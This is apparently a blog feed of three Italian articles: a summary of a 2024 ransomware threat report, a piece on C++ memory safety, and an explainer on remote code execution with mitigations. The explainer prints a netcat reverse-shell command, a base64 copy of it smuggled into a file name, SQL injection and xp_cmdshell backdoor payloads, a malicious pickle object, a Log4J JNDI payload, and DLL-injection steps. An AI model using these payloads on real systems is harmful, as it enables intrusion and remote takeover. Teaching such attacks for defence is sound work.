Il ransomware continua a rappresentare una delle minacce più pervasive e dannose nel panorama della cybersecurity globale. Secondo il report “DarkMirror” di DarkLab, relativo al secondo semestre del 2024, gli attacchi ransomware hanno mostrato un’evoluzione significativa sia nelle tecniche utilizzate che negli obiettivi colpiti. Questo report emesso dal collettivo DarkLab (il laboratorio sull’intelligence delle minacce di Red Hot Cyber) offre una panoramica delle principali tendenze emerse, con un focus sui dati quantitativi e sulle implicazioni per la sicurezza informatica.

Vengono analizzati i trend globali del ransomware nel secondo semestre del 2024, con un focus sulle tendenze emergenti, le tattiche dei gruppi criminali e l’impatto sui vari settori. Viene approfondita la situazione del comparto Italia, evidenziando le peculiarità del contesto nazionale. Si esplora inoltre il lato oscuro dell’intelligenza artificiale, utilizzata sempre più spesso dai cybercriminali per ottimizzare gli attacchi. Il report dedica ampio spazio ai Threat Actors, con un’analisi dettagliata della loro evoluzione e le nuove tecniche, tattiche e procedure (TTPs).

Non mancano approfondimenti sulle operazioni di law enforcement condotte a livello internazionale e un’analisi dell’economia del ransomware, inclusa una valutazione delle transazioni dei wallet criminali. Infine, il report include interviste ai Threat Actors (constantemente svolte da Red Hot Cyber) e una rassegna sui nuovi gruppi emersi nel panorama delle minacce.

Il report è stato realizzato dal gruppo DarkLab e nello specifico da Pietro Melillo, Olivia Terrangi, Alessio Stefan, Carlo Mauceli, Inva Malaj, Luca Galuppi, Massimiliano Brolli, Edoardo Faccioli, Raffaela Crisci, Andrea Mario Muscarà.

Scarica il report DarkMirror : il Report sulla minaccia ransomware di H2 2024

Trend Ransomware a livello globale

Il fenomeno del ransomware nel 2024 ha continuato a rappresentare una minaccia persistente e in crescita (Come visto nell’estratto di Pietro Melillo, Andrea Mario Muscarà ed Inva Malaj), colpendo indistintamente sia economie sviluppate che in via di sviluppo. Secondo i dati raccolti da Dark Lab, sono state documentate 5333 vittime di attacchi a livello globale, un numero che rappresenta solo una frazione della reale portata del problema. Gli Stati Uniti si confermano il paese più colpito, con 2748 vittime documentate, seguiti da Canada (283), Regno Unito (277) e Germania (168). Questo dimostra che le nazioni con infrastrutture digitali avanzate sono tra i principali obiettivi dei cybercriminali.

L’industria e i servizi emergono come i settori economici più bersagliati dagli attacchi ransomware. Con 898 attacchi registrati, il comparto industriale è quello maggiormente colpito, a causa delle vulnerabilità presenti nelle sue infrastrutture IT. Il settore dei servizi segue con 777 attacchi, evidenziando rischi significativi nella gestione dei dati critici. Anche la costruzione (462 attacchi) e la tecnologia (424 attacchi) sono particolarmente esposte, dato il valore delle informazioni sensibili trattate.

La sanità rappresenta un altro settore chiave colpito, con 413 attacchi registrati, mettendo a rischio la sicurezza dei dati dei pazienti e la continuità operativa delle strutture sanitarie. I comparti del retail (325 attacchi), finanziario (288 attacchi) e pubblico (273 attacchi) mostrano anch’essi un’esposizione elevata, mentre settori come l’educazione (230 attacchi) e Hospital (192 attacchi) subiscono attacchi con impatti generalmente meno critici ma comunque rilevanti.

L’analisi dei dati conferma che il ransomware non risparmia alcun settore e si adatta alle vulnerabilità specifiche di ciascun comparto. La crescente sofisticazione delle tecniche di attacco, unite alla strategia della doppia estorsione, impongono misure di sicurezza più efficaci per proteggere le infrastrutture critiche e i dati sensibili. Investire in cybersecurity e resilienza digitale diventa sempre più essenziale per mitigare i danni causati da questa minaccia globale.

[strong]Scarica il report DarkMirror : il Report sulla minaccia ransomware di H2 2024[/strong]

Trend Ransomware a livello Italia

L’analisi delle minacce ransomware in Italia nel 2024, rileva che c’è stata una importante flessione delle vittime che sono passate dalle 192 del 2023 alle 149 del 2024 (Come visto nell’estratto di Luca Galuppi e Marco Mazzola). Altresì evidenziamo una crescente concentrazione di attacchi in settori strategici, con l’industria che si conferma il bersaglio principale, seguita dal retail e dal comparto tecnologico. Gli attacchi rivolti alle infrastrutture critiche, come energia e sanità, pur rappresentando una percentuale inferiore, restano di particolare interesse per il loro potenziale impatto. Questo scenario sottolinea l’urgenza di strategie di difesa avanzate per proteggere i comparti chiave dell’economia nazionale.

Dal punto di vista degli attori malevoli, il gruppo RansomHub si distingue come il più attivo, con 18 attacchi documentati, seguito da 8Base e LockBit 3, entrambi con 12 attacchi. Altri gruppi di rilievo includono BlackBasta, Akira e Argoanuts, che continuano a rappresentare una minaccia significativa. Nonostante alcuni gruppi abbiano un numero inferiore di attacchi, come Hunters, Ciphbit, DragonForce e Meow, la loro attività non deve essere sottovalutata, in quanto spesso operano in modo mirato e con tecniche sofisticate.

Un elemento degno di nota è la variazione nella distribuzione degli attacchi tra i settori economici. Il comparto dei servizi mostra una crescita significativa negli attacchi subiti, mentre il settore tecnologico sembra registrare un lieve calo. Tuttavia, l’industria resta il principale obiettivo delle cyber gang, rendendo necessaria una risposta tempestiva per mitigare i rischi e rafforzare la resilienza delle infrastrutture critiche italiane.

Scarica DarkMirror : il Report sulla minaccia ransomware di H2 2024

Threat Actors: una analisi del contesto e della evoluzione

Proseguono nel secondo semestre 2024 complesse intrusioni multifase (come riportato dall’estratto di Olivia Terragni, Alessio Stefan, Pietro Melillo) di livello globale e nella scala operazionale si può notare sia il ‘declino’ di Lockbit sia una frammentazione, con l’emergere di nuovi ceppi ransomware in un’intensificazione di minacce significative distinte da pratiche sempre più intimidatorie e tecniche di attacco avanzate (utilizzate anche daI gruppi ATP) sempre più efficienti nell’eludere le difese.

Le nuove minacce nel panorama della cybersecurity stanno evolvendo rapidamente, con l’intelligenza artificiale (AI) che gioca un ruolo sempre più significativo (come riportato dall’estratto di Carlo Mauceli). L’AI non solo sta trasformando il modo in cui le organizzazioni si difendono dagli attacchi informatici, ma sta anche diventando uno strumento potente nelle mani dei cybercriminali. Questi ultimi stanno utilizzando l’AI per sviluppare malware più sofisticati, automatizzare attacchi e superare le difese tradizionali. La crescente accessibilità di strumenti di AI, come ChatGPT, ha sollevato preoccupazioni riguardo al loro potenziale utilizzo per scopi malevoli, tra cui la creazione di phishing più convincenti e la pianificazione di attacchi più mirati. Questo scenario richiede una risposta proattiva da parte delle forze dell’ordine e delle aziende di sicurezza per mitigare i rischi associati all’uso malevolo dell’AI.

Le operazioni internazionali di contrasto al ransomware hanno visto un’intensificazione negli ultimi anni, con sforzi coordinati tra agenzie di sicurezza, forze di polizia e unità specializzate in cyber intelligence. Operazioni come Cronos ed Endgame (come visto nell’estratto di Raffaela Crisci) hanno dimostrato l’efficacia di un approccio collaborativo, portando al smantellamento di infrastrutture critiche utilizzate dai gruppi ransomware e all’arresto di figure chiave. Ad esempio, l’Operazione Cronos ha colpito duramente il gruppo LockBit, sequestrando domini e compromettendo la loro infrastruttura interna. Queste operazioni non si limitano a semplici sequestri, ma includono tattiche di interferenza massiccia, come la diffusione di disinformazione all’interno delle reti criminali, minando la loro capacità operativa. Nonostante questi successi, i gruppi ransomware continuano ad adattarsi, sviluppando nuove varianti di malware e tecniche per eludere le autorità.

Un elemento di grande rilevanza all’interno del report sono le interviste ai Threat Actors condotte dal team DarkLab (come evidenziato nell’estratto di Massimiliano Brolli e Alessio Stefan). Nel secondo semestre del 2024, il gruppo è riuscito a intervistare diverse cyber gang ransomware, tra cui Ransom Cortex, RADAR, DISPOSSESSOR, Quilin, Lynx, Stormous e Interlock. Nel report precedente, invece, erano state pubblicate le interviste a Vari Group, Cicada6601 e Azzasec.

L’economia del ransomware è in costante crescita, con introiti che hanno superato il miliardo di dollari nel 2023. Le analisi condotte da DarkLab (come visto nell’estratto di Alessio Stefan ed Edoardo Faccioli) rivelano che, nonostante una diminuzione nel numero di transazioni, il saldo dei wallet collegati ai pagamenti ransomware è aumentato significativamente. Questo indica una strategia sempre più aggressiva da parte dei gruppi ransomware, che puntano su richieste di riscatto più elevate e su obiettivi di alto profilo. Le criptovalute continuano a essere il mezzo preferito per i pagamenti, grazie alla loro natura decentralizzata e alla difficoltà di tracciamento. Tuttavia, le forze dell’ordine stanno intensificando gli sforzi per monitorare e congelare i fondi illeciti, come dimostrato dal sequestro di oltre 30.000 wallet Bitcoin durante l’Operazione Cronos.

Scarica il report DarkMirror : il Report sulla minaccia ransomware di H2 2024

Conclusioni

Il report DarkMirror di DarkLab evidenzia come il ransomware continui a essere una delle minacce più devastanti nel panorama della cybersecurity globale. Nel secondo semestre del 2024, gli attacchi hanno subito un’evoluzione sia nelle tecniche che negli obiettivi, con un aumento della sofisticazione delle operazioni e una frammentazione del panorama dei Threat Actors. Le economie digitalmente avanzate restano i bersagli primari, con gli Stati Uniti in testa, mentre il settore industriale e quello dei servizi si confermano i più colpiti. La strategia della doppia estorsione e l’uso di tecnologie avanzate da parte dei cybercriminali impongono un rafforzamento delle misure di sicurezza per proteggere infrastrutture critiche e dati sensibili.

In Italia, il numero di attacchi ransomware è calato rispetto all’anno precedente, ma si registra una maggiore concentrazione su settori strategici come industria, retail e tecnologia. Il gruppo RansomHub emerge come il più attivo, seguito da 8Base e LockBit 3, mentre nuove cyber gang stanno guadagnando terreno. La sanità e le infrastrutture critiche restano a rischio, sottolineando l’urgenza di strategie di difesa più avanzate. Sebbene alcuni settori mostrino una leggera riduzione degli attacchi, il panorama delle minacce rimane dinamico e in continua evoluzione, rendendo necessarie azioni mirate per migliorare la resilienza delle organizzazioni italiane.

L’intelligenza artificiale sta giocando un ruolo sempre più rilevante sia nella difesa che negli attacchi informatici. I cybercriminali sfruttano l’AI per creare malware più sofisticati, automatizzare attacchi e rendere più efficaci le campagne di phishing. L’accessibilità di strumenti AI avanzati ha reso più semplice per le cyber gang sviluppare minacce sempre più difficili da rilevare, obbligando aziende e forze dell’ordine a potenziare le strategie di contrasto. Le operazioni di law enforcement hanno ottenuto successi significativi, con azioni coordinate come l’Operazione Cronos ed Endgame che hanno colpito duramente gruppi come LockBit, ma i criminali continuano ad adattarsi e a evolversi rapidamente.

Un elemento distintivo del report è l’analisi diretta dei Threat Actors, basata sulle interviste condotte dal team DarkLab con gruppi ransomware come Ransom Cortex, RADAR, DISPOSSESSOR, Quilin e Stormous. Queste conversazioni offrono uno spaccato unico sulle motivazioni, le strategie e le dinamiche interne delle cyber gang, contribuendo a una comprensione più approfondita delle minacce. La crescente specializzazione dei gruppi e l’intensificazione delle loro attività rendono essenziale un monitoraggio costante del dark web e delle nuove tattiche emergenti per anticipare le future evoluzioni del ransomware.

L'articolo DarkLab di RHC Pubblica Il Report DarkMirror 2024: L’osservatorio delle minacce Ransomware proviene da il blog della sicurezza informatica.

Bjarne Stroustrup, creatore del linguaggio C++, ha contattato la comunità degli sviluppatori chiedendo la protezione del suo linguaggio di programmazione, che negli ultimi anni è stato oggetto di critiche da parte degli esperti di sicurezza informatica. Il motivo principale degli attacchi è il problema della sicurezza della memoria, che ha portato all’esclusione del C++ dall’elenco dei linguaggi consigliati nei progetti governativi e aziendali.

C e C++ richiedono una gestione manuale della memoria, il che li rende vulnerabili a bug quali buffer overflow o perdite di memoria. Problemi come questi costituiscono la maggior parte delle vulnerabilità nelle basi di codice di grandi dimensioni. Di conseguenza, le principali organizzazioni mondiali si stanno rivolgendo sempre più a linguaggi con una migliore protezione della memoria, come Rust, Go, C, Java, Swift e Python.

La comunità C/C++ ha risposto con una serie di iniziative volte a migliorare la sicurezza, tra cui i progetti TrapC, FilC, Mini-C e Safe C++. Tuttavia, secondo Stroustrup, il problema non è solo la lentezza dei progressi, ma anche la mancanza di una chiara narrazione pubblica in grado di competere con la crescente popolarità di Rust. Nel suo discorso al comitato per gli standard C++ (WG21), ha chiesto un’azione urgente e ha proposto di utilizzare il framework Profiles per migliorare la sicurezza.

Stroustrup sottolinea che la sicurezza della memoria è sempre stata un obiettivo fondamentale del C++ e invita a non prendere il suo tono calmo come un segno di indifferenza a ciò che sta accadendo. Ha ricordato di aver già avvisato la comunità del rischio che il C++ venisse distrutto da modifiche caotiche al linguaggio.

Una delle preoccupazioni è stata la richiesta della Cybersecurity and Infrastructure Agency (CISA) degli Stati Uniti, secondo cui entro il 2026 i produttori dovranno correggere tutte le vulnerabilità di gestione della memoria o passare completamente a linguaggi di programmazione sicuri. Stroustrup ritiene che ciò rappresenti una seria minaccia per il futuro del C++.

Ai programmatori C++ vengono offerte diverse soluzioni, ma nessuna di queste è ancora diventata uno standard. Ad esempio, il progetto TrapC propone l’uso di “puntatori sicuri” che impediscono errori di segmentazione e di superamento dei limiti della memoria. Tali soluzioni richiedono però modifiche significative al codice e non possono essere implementate immediatamente.

Gli esperti sono divisi sul futuro del C++. Alcuni, come David Chisnall dell’Università di Cambridge, ritengono che sostituire completamente il C++ con altri linguaggi sia impossibile perché contiene già troppo codice. Viene invece proposto un approccio evolutivo: la graduale modernizzazione del linguaggio con l’introduzione di strumenti per migliorare la sicurezza.

Nel frattempo, Google e altri giganti della tecnologia stanno spingendo sempre di più verso linguaggi con protezione completa della memoria, il che sta mettendo ulteriore pressione sulla comunità C++.

La domanda è: la comunità C++ troverà una soluzione salvifica prima del 2026 oppure questo leggendario linguaggio finirà inevitabilmente per cadere nell’oblio?

L'articolo C++ Verso L’oblio! Il suo creatore allerta la community a trovare velocemente una soluzione proviene da il blog della sicurezza informatica.

Tra tutte le vulnerabilità la più temuta per le vittime e la più ricercata per gli aggressori è la remote code execution, tristemente nota RCE. Questa vulnerabilità permette di eseguire dei comandi arbitrari sul sistema attaccato. Questi possono essere inviati tramite script: pensiamo ad una pagina php caricata in un server web, comandi shell di windows oppure addirittura istruzioni macchina se parliamo di buffer overflow.

Questa tipologia di vulnerabilità permette di ottenere velocemente il controllo della vittima e questo attacco viene eseguito in remoto senza accesso fisico. Queste vulnerabilità sono sfruttate per vario genere, dall’accesso abusivo dei sistemi, installazione di software non autorizzato.

Ma non finisce qui: alcune caratteristiche ne amplificano l’effetto per esempio quando questa vulnerabilità è “non autenticata” (si parla quindi di unauthenticated RCE) oppure si ottengono fin da subito permessi elevati (come “system” su sistemi Windows o “root” su quelli Linux). Vulnerabilità del genere possono raggiungere tranquillamente score CVSS dai 9.8 ai 10.

Quale impatto può avere una vulnerabilità RCE?

Qui alcuni esempi di cosa può comportare questa vulnerabilità:

Penetrazione: gli aggressori possono accedere alla rete o al sistema.

• Privilege Escalation: dopo aver ottenuto l’accesso tramite un RCE, l’aggressore potrebbe provare ad aumentare i suoi privilegi sul sistema per aumentare il suo impatto e ottenere più accesso.
• Movimento laterale: gli aggressori potrebbero usare le vulnerabilità RCE per muoversi lateralmente, compromettendo sistemi aggiuntivi ed espandendo il loro controllo e accesso attraverso la rete. Ciò può portare a una violazione più estesa e a danni maggiori.
• Esfiltrazione: gli aggressori possono intercettare informazioni sensibili, accedervi ed esfiltrare. Ciò avviene tramite vari mezzi, tra cui malware che ruba i dati e software di scraping della memoria che cerca le credenziali.
• DOS e DDOS: i sistemi possono essere bloccati tramite attacchi RCE che esauriscono le risorse di rete o delle applicazioni, negando così agli utenti legittimi il servizio dell’applicazione.
• Ransomware: attraverso queste vulnerabilità RCE gli aggressori impediscono alle vittime di accedere ai sistemi e ai dati in cambio di denaro/riscatto.
• Backdoor, botnet e persistenza: l’attaccante che ha compromesso la macchina tramite un RCE può creare una backdoor per connettersi nuovamente alla macchina senza dover sfruttare nuovamente la vulnerabilità. Questo è noto come persistenza. Questo può essere utile, ad esempio, per incorporare la macchina compromessa in una botnet.
• Danni alla reputazione: un attacco RCE riuscito può danneggiare la reputazione di un’organizzazione, portando alla perdita di fiducia e sicurezza da parte dei clienti. Ciò può avere effetti a lungo termine sulle relazioni commerciali e sulla posizione di mercato.
• Interruzione operativa: le vulnerabilità RCE possono interrompere le normali operazioni aziendali causando interruzioni di sistema, corruzione dei dati e interruzioni del servizio.

Questa interruzione può influire sulla produttività, sul servizio clienti e sulla continuità aziendale complessiva.

Alcune distinzioni ed esempi

Un esempio è una vulnerabilità incontrata alcuni anni fa. Correva Marzo dell’anno 2021 e una mattina iniziava con un devastante attacco, all’inizio sconosciuto, che colpiva i sistemi di posta Exchange tramite uno zero day che sarà poi chiamato Proxy Logon (CVE-2021-26855 + CVE-2021-27065).

gli aggressori tentavano di caricare del codice attivo per poter compromettere i server di posta, per fortuna quasi tutti rilevati dagli EDR installati. Questa tipologia di attacco è appunto una esempio di remote code execution ed è stata classificata con 9.8 cvss v3.Per maggiori info: proxylogon.com/

La maggior parte di RCE sono concatenate ad altre vulnerabilità oppure sfruttate per altre debolezze inserite nel codice o nelle configurazioni, vediamone alcune con qualche semplice esempio:

Buffer Overflow

Nella sicurezza dello sviluppo dei software, un buffer overflow è un’anomalia in cui un programma, durante la scrittura di dati troppo grandi ricevuti in input in un buffer va a scrivere nelle aree di memoria adiacente.

Così il programma in seguito si troverà ad accedere a dei puntatori di memoria non validi perché sovrascritti. Non avendo più un riferimento valido alla successiva area di memoria che contiene la prossima istruzione da eseguire, va in crash oppure esegue un accesso non autorizzato a un’altra area di memoria.

Un attaccante, individuando e manipolando le aree che porterebbero al comportamento spiegato prima, può modificare il flow di esecuzione attraverso un input costruito appositamente, costringendo il programma ad eseguire del codice arbitrario iniettato dall’attaccante.

Prediamo ad esempio la CVE-2017-14980 che riguarda Sync Breeze Enterprise 10.0.28, un software che permette la sincronizzazione tra file. Questo software dispone di un interfaccia web protetta da login.

Si era scoperto che passando nella chiamata di login un username molto lungo, il software generava un buffer overflow.

Quindi come detto prima, generando un payload apposito passato nel input username nella richiesta di login si poteva sfruttare questo buffer overflow per eseguire del codice remoto.

Ne avevamo già parlato qui con anche un esempio pratico dal team di Hackerhood

Mancanza di validazione dell’input

Quando i dati trasmessi dal client al server non vengono sufficientemente puliti da caratteri che potrebbero modificare il comportamento dell’applicazione arrivando all’esecuzione di codice arbitrario.

Ipotizziamo questo frammento di codice dove il sistema carica un file in google drive tramite file caricato dall’utente.

exec("python pydrive.py " . $path . addslashes(trim($fileName));

In questo caso la procedura comporrà un comando python e in seguito lo avvierà in una shell del sistema. Quello che potremmo fare è sfruttare il nome del file per poter accordare un comando. Sono presenti dei controlli ma questi potrebbero mitigare un sql injection, ma non sono sufficienti per mitigare questo tipo di attacco RCE e quindi è possibile accordare un secondo comando.

Il comando potrebbe essere “rm tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1 | nc 10.11.0.4 1234 >/tmp/f“, non potrà essere usato per rinominare un file prima di caricarlo in quanto alcuni caratteri speciali lo impediscono (anche se in realtà potremmo modificare la chiamata REST abbiamo tentato un’altra strada).

Niente paura, per chi conosce la bash sa che è possibile eseguire un comando encodato in base64: utilizzando il carattere $() la shell eseguirà l’interno del contenuto ancor prima di eseguire il comando python, quindi carichiamo un file con nome:

$(cm0gdG1wL2Y7bWtmaWZvIC90bXAvZjtjYXQgL3RtcC9mfC9iaW4vc2ggLWkgMj4mMSB8IG5jIDEwLjExLjAuNCAxMjM0ID4vdG1wL2Y= | base64 -d | bash);

L’applicazione si troverà a eseguire dalla bash di linux questo comando ed ad avviare una reverse shell.

python pydrive.py /test/$(cm0gdG1wL2Y7bWtmaWZvIC90bXAvZjtjYXQgL3RtcC9mfC9iaW4vc2ggLWkgMj4mMSB8IG5jIDEwLjExLjAuNCAxMjM0ID4vdG1wL2Y= | base64 -d | bash);

Il principale problema è che non sono stati filtrati i caratteri che in questo caso potrebbero interagire con i comandi che verranno eseguiti nella shell.

File Uploads

Un caso classico di RCE è quello legato al caricamento di file arbitrari non correttamente filtrati contenente codice attivo. Quando le funzionalità di caricamento file non sono implementate e testate correttamente, possono lasciare aperta la strada al caricamento di file dannosi per ottenere RCE.

In questo scenario un’ipotetica applicazione web PHP offre all’utente una funzionalità per caricare immagini e farle vedere in una galleria dopo averle caricate. Queste immagini sono archiviate in una cartella “/img/” in uno spazio pubblico del server web. I file non vengono verificati o rinominati. Per cui potremmo caricare un file contenente il seguente codice “” con l’estensione .php, come ad esempio exploit.php.

A questo punto una volta caricato il messaggio, ispezioniamo il DOM e dovremmo trovare l’immagine caricata, o quella che doveva essere.

Richiamando questo percorso, con molta probabilità eseguiremo il codice contenuto nel file. In questo caso non sono stati controllati né il contenuto né l’estensione del file caricato. se possibile evitare che il file sia accessibile pubblicamente. a questo punto non ci resta che richiamare url individuato: example.local/img/exploit.php?…

Injection

Queste vulnerabilità derivano da una sanificazione inadeguata degli input Se un aggressore fornisse input dannosi appositamente creati, alcuni di questi possono essere interpretati come comandi eseguibili, consentendo all’aggressore di eseguire il proprio codice. Di questa categoria fanno parte SQLi (sql injection) e SSTI (server side template injection)

SQL INJECTION

Una SQL Injection (o SQLi) è una vulnerabilità di sicurezza informatica che consente a un attaccante di interferire con le query SQL che un’applicazione invia a un database. In sostanza, l’attaccante “inietta” codice SQL dannoso all’interno di input dell’utente (come campi di testo in un modulo web) per manipolare la query originale e ottenere risultati non desiderati.

Per esempio in Mysql se il grant FILE è abilitato nei permessi dell’utente che sta eseguendo le query, è possibile arrivare ad eseguire del codice remoto.

Ipotizziamo in questo pezzo di codice che gestisce la richiesta a db di un pagina prima di eseguirla:

$sql = 'SELECT * FROM user WHERE username = "' + $username '"'

L’applicazione si aspetterebbe un username per verificare se sia esistente o no, come ad esempio “mario”. Se invece di mario, passiamo questo frammenti di codice SQL:

1" union all select 1, 2, "" into OUTFILE "c:/xampp/htdocs/backdoor.php" #

Verrà aggiunto alla QUERY originale di prima creando una nuova che il motore database eseguirà.

SELECT * FROM user WHERE username = "1" union all select 1, 2, "" into OUTFILE "c:/xampp/htdocs/backdoor.php" #

Il processo è estremamente semplificato ma in questo modo avremmo indotto la query sql a scrivere del contenuto in un percorso arbitrario.

example.local/backdoor.php?cmd…

Se fossimo invece in ambito Microsoft sql server potremmo addirittura inviare dei comandi shell al motore database pronti da essere eseguiti aggiungendo questi comandi alla query originale:

EXEC sp_configure 'Show Advanced Options', 1; reconfigure; sp_configure; EXEC sp_configure 'xp_cmdshell', 1; reconfigure; xp_cmdshell "whoami";

La vittima eseguirà whoami nella sua console. Uno dei motivi è il concatenamento di codice sql e variabili senza alcun genere di controllo oltre a permettere comandi che potrebbero essere disattivati come FILE.

In alcune condizioni, l’utilizzo di utenti database con privilegi elevati (come root o sa), possono amplificare la potenza dell’attacco e permettono per esempio l’esecuzione di comandi come xp_cmdshell in mssql.

SERVER-SIDE TEMPLATE INJECTION TO RCE

Proprio come con SQL injection, quando l’input utente non filtrato viene passato ad un motore di creazione di template e questo viene concatenato nei template anziché essere trasmesso come dato, può generarsi una condizione di esecuzione di codice remoto. Vediamo un esempio applicato a una vecchia versione di Twig (1.9.0)

I template statici che forniscono semplicemente dei placeholder in cui viene reindirizzato il contenuto dinamico, non sono generalmente vulnerabili all’iniezione di template lato server come nell’esempio qui sotto:

$output = $twig->render("Dear {first_name},", array("first_name" => $user.first_name) );

Ma se invece l’input dell’utente viene concatenato nel template prima del rendering come in questo esempio:

$output = $twig->render("Dear " . $_GET['name']);

Questa volta gli utenti possono personalizzare parti del codice prima che venga inviato al rendering.

Quindi piuttosto che passare un valore statico, come ad esempio “mario”, passiamo invece {{payload}} come parametro GET, potendo così eseguire del codice arbitrario:

example.com/?name={{_self.env.…

In questo caso accedendo all’environment di Twig e usando la registerUndefinedFilterCallbackfunzione, è possibile registrare un alias per la funzione exec. Chiamando poi getFilter con il comando desiderato ls [call_user_func(‘exec’,’id’);].

A questo punto vedremo output del comando.

Unsafe Deserialization

Questo metodo facilita la trasmissione dei dati impacchettandoli in una singola stringa di bit, che il sistema ricevente può decodificare.

Se la struttura dei dati serializzati non è ben definita, un aggressore potrebbe creare un input che verrebbe interpretato erroneamente durante l’unpacking.

Questa interpretazione errata potrebbe portare all’esecuzione di codice remoto, a seconda di come i dati vengono elaborati e archiviati.

Il codice seguente è un semplice esempio di utilizzo di cPickle per generare un auth_token, che è un oggetto utente serializzato, per poi salvarlo in un cookie.

import cPickle
from base64 import b64encode, b64decode

class User:
def __init__(self):
self.username = "anonymous"
self.password = "anonymous"
self.rank = "guest"

h = User()
auth_token = b64encode(cPickle.dumps(h))
cookie = {'auth_token': auth_token}

pickle.dumps() in Python è una funzione che serve a serializzare un oggetto in un flusso di byte. Output ottenuto può essere poi utilizzato per esempio nei cookie per gestire processi di autenticazione.

A ogni richiesta poi la vittima eseguirà la deserializzazione poi per ricostruire l’oggetto.

token = cPickle.loads(b64decode(new_token))

La vulnerabilità si verifica quando l’aggressore riesce a manipolare questo flusso di dati, modificando in questo caso l’oggetto serializzato presente nel cookie, per esempio, del browser.

Per cui creando un nuovo oggetto serializzato ad-hoc, possiamo eseguire del codice remoto nella vittima una volta che viene de-serializzato per leggere il contenuto.

import cPickle, os

from base64 import b64encode, b64decode

class Evil(object):
def __reduce__(self):
return (os.system,("whoami",))

e = Evil()
evil_token = b64encode(cPickle.dumps(e))

Quando l’oggetto viene deserializzato sul server, il metodo __reduce__ verrà invocato ed eseguirà il comando remoto “whoami”.

RCE VIA RACE CONDITION

Una Race Condition si verifica quando il risultato finale dipende dall’ordine preciso in cui questi processi/thread eseguono le loro operazioni. In altre parole, il risultato diventa imprevedibile e può variare a seconda di quale processo “vince la gara” nell’accedere per primo alla risorsa.

Prendiamo ad esempio la CVE-2021-24377, il sistema prevede il caricamento di un file zip, in seguito lo scompattamento di tutti i file in una directory nota per poi infine rimuovere i file appena estratti.

La condizione di RACE CONDITION si verificherà se subito dopo il caricamento di questo file tenteremo più volte di chiamare il link pubblico a un file contenuto nel momento che il sistema inizierà a scompattare lo zip prima che la procedura finisca la scompattazione e quindi la rimozione dei file scompattati.

Se l’archivio includesse un file con contenuto attivo PHP (backdoor.php) potremmo quindi richiamare questo trasformando l’attacco da una race condition a una RCE.

LFI/RFI to RCE

LFI permette di caricare del contenuto locale dove è presente del codice attivo che l’applicazione eseguirà. Il primo obiettivo è quello di riuscire a caricare questo contenuto. In questo esempio abbiamo un server web apache con le configurazione di default, dove le varie pagine sono chiamate includendo il file nel url.

example.local?page=index.php

a questo punto ipotizzando che i log di apache siano nel percorso /var/logs/httpd/access.log potremmo iniettare del codice php tramite netcat.

nc ip port

una volta aperta la connessione scriveremo:

a questo punto non faremmo altro nel raggiungere il sito ed eseguire dei comandi tramite il link:

example.local?page=/var/logs/h…

Per quanto riguarda il remote inclusion è ancora più semplice. Consiste nel caricare del contenuto remoto solitamente tramite un url. Se il server web è abilitato per includere risorse remote (allow_url_include=on), potremmo includere il codice mostrato prima per esempio su pastbin.

Quindi richiamarlo

example.local?page=https://pas…

DDL INJECTION

DLL injection è una tecnica che permette di eseguire codice arbitrario all’interno dello spazio di indirizzamento di un processo in esecuzione. Questo viene fatto caricando una DLL (Dynamic Link Library) nel processo target.

I principali passaggi sono:

Allocazione di memoria: Il processo iniettore alloca memoria nel processo target.
Scrittura del percorso della DLL: Il percorso della DLL da iniettare viene scritto nella memoria allocata.
Caricamento della DLL: Viene chiamata la funzione LoadLibrary per caricare la DLL nel processo target.

Un esempio reale è la CVE-2020-7315. La vulnerabilità affligge McAfee Agent (MA) per Windows precedente alla versione 5.6.6 e consente agli utenti locali di eseguire codice arbitrario tramite l’utilizzo di una DLL dannosa.

La causa è una DDL mancante nel percorso C:\Windows\System32\ che il processo di McAfee macompatsvc.exe tenta di caricare all’avvio.

Quindi un attaccante posizionando in quel percorso una nuova DLL malevola, può eseguire da parte del eseguibile del codice malevolo al riavvio del processo.

Un altro attacco più sofisticato è quello di utilizzare degli injector che attraverso le API VirtualAllocEx, WriteProcessMemory, e CreateRemoteThread caricando dinamicamente una DLL in un processo già attivo.

In un sistema vulnerabile dopo averlo compromesso, basterebbe identificare un PID di un processo target. Quindi è necessario forgiare una DLL malevola e iniettarla con un injector.

A grandi linee il processo è questo:

• Con tasklist identificare il PID target (es 3456)
• Compilare injector e la DLL
• Eseguire dllinj.exe 3456
• A questo punto la DLL è stata caricata ed eseguita

Qui degli esempi di DLL Injector e payload:

DLL Injector

github.com/PacktPublishing/Mal…

DDL Payload

github.com/PacktPublishing/Mal…

Questa tecnica può rappresentare una minacce significativa, specialmente per i sistemi mal configurati e legacy. Questi sistemi spesso mancano delle patch di sicurezza e delle configurazioni necessarie per difendersi da attacchi così sofisticati, oppure degli EDR che rilevino abuso di queste API da parte dei processi.

L’utilizzo di queste api come VirtualAlloc lo avevamo visto nell’analisi del infostealer Tesla Agent.

redhotcyber.com/post/rhc-da-vi…

Common Vulnerabilities and Exposures (CVEs)

Sfruttare determinati CVE è un altro metodo per ottenere l’esecuzione di codice remoto. Le aziende dietro i programmi bug bounty integrano servizi e pacchetti di terze parti (come librerie e framework) tutto il tempo, poiché possono accelerare lo sviluppo e ridurre i costi di tecnologia generali ad esso associati.

Ma questo ha un altro costo: questi servizi integrati possono spesso contenere codice non sicuro che possono portare a RCE. Prendiamo ad esempio Log4J (CVE-2021-44228), un semplice payload come quello qui sotto avrebbe potuto avere un impatto su qualsiasi server che utilizza Apache Log4J, come ad esempio i sistemi di virtualizzazione Vmware.

${jndi:ldap://url.com/exploit}

Come mitigare gli attacchi RCE?

Esistono differenti metodi per mitigare gli impatti di una Remote Code Execution, di seguito ne analizzeremo alcuni.

Validazione e sanificazione degli input

• Validare gli input: Applicare controlli rigorosi su tutti i dati forniti dagli utenti, verificando che rispettino il formato, la lunghezza e il tipo di dato atteso. Non fidarsi mai della validazione lato client e validare sempre sul server.Don’t trust, verify.
• Sanificare gli input: Oltre alla validazione, è necessario ripulire o codificare i dati in input per neutralizzare eventuali caratteri o sequenze dannose.

Pratiche di codifica sicura

• Query parametrizzate (Prepared Statement): Fondamentale per prevenire SQL Injection. Non concatenare mai input dell’utente direttamente nelle query SQL.
• Evitare eval() (e funzioni simili): Queste funzioni eseguono codice arbitrario e sono estremamente pericolose se coinvolgono input dell’utente. Quasi sempre esistono alternative più sicure.
• Principio del minimo privilegio: Concedere solo i permessi necessari a utenti e processi. Limitare inoltre l’accesso a risorse e funzionalità sensibili.
